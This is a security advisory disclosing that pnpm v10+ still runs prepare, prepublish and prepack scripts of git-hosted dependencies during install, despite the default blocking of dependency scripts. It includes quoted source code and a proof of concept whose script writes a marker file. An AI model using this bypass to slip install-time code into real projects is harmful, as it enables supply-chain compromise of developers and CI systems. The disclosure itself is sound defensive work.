pnpm v10+ Git Dependency Script Execution Bypass

Summary

A security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval.

Details

pnpm v10 introduced a security feature to disable dependency lifecycle scripts by default (PR #8897). This is implemented by setting onlyBuiltDependencies = [] when no build policy is configured:

File: pkg-manager/core/src/install/extendInstallOptions.ts (lines 290-291)

if (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {
  opts.onlyBuiltDependencies = []
}

This creates an allowlist that blocks all packages from running scripts during the BUILD phase in exec/build-modules/src/index.ts.

However, git-hosted dependencies are processed differently. During the FETCH phase, git packages are prepared using preparePackage():

File: exec/prepare-package/src/index.ts (lines 28-57)

export async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {
  // ...
  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies

  const execOpts: RunLifecycleHookOptions = {
    // ...
    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!
  }

  // Runs npm/pnpm install
  await runLifecycleHook(installScriptName, manifest, execOpts)

  // Runs prepare scripts
  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']
    await runLifecycleHook(newScriptName, manifest, execOpts)
  }
}

The ignoreScripts option defaults to false and is completely separate from onlyBuiltDependencies. The onlyBuiltDependencies allowlist is never consulted during the fetch phase.

Affected scripts that execute during fetch: - prepare - prepublish - prepack

Attack vectors: - git+https://github.com/attacker/malicious.git - github:attacker/malicious - gitlab:attacker/malicious - bitbucket:attacker/malicious - git+ssh://git@github.com/attacker/malicious.git - git+file:///path/to/local/repo

PoC

Prerequisites: - pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1) - git

Steps to reproduce:

1. Extract the attached poc.zip

2. Run the PoC script:

   cd poc
   chmod +x run-poc.sh
   ./run-poc.sh
   

3. Verify the marker file was created by the malicious script:

   cat /tmp/pnpm-vuln-poc-marker.txt
   

Manual reproduction:

1. Create a malicious package with a prepare script:

   {
     "name": "malicious-pkg",
     "version": "1.0.0",
     "scripts": {
       "prepare": "node -e \"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\""
     }
   }
   

2. Initialize it as a git repo and commit the files

3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):

   {
     "dependencies": {
       "malicious-pkg": "git+file:///path/to/malicious-pkg"
     }
   }
   

4. Run pnpm install - the prepare script executes without any warning or approval prompt

Impact

Severity: High

Who is impacted: - All pnpm v10+ users - Users who believed they were protected by the v10 "scripts disabled by default" feature - CI/CD pipelines

Attack scenarios: 1. Supply chain attack: An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during pnpm install

What an attacker can do: - Execute arbitrary code with the victim's privileges - Exfiltrate environment variables, secrets, and credentials - Modify source code or inject backdoors - Establish persistence or reverse shells - Access the filesystem and network

Why this bypasses security expectations: - pnpm v10 changelog explicitly states "Lifecycle scripts of dependencies are not executed during installation by default" - Users expect git dependencies to follow the same security model as npm registry packages - There is no warning that git dependencies are treated differently - The onlyBuiltDependencies configuration does not affect git dependencies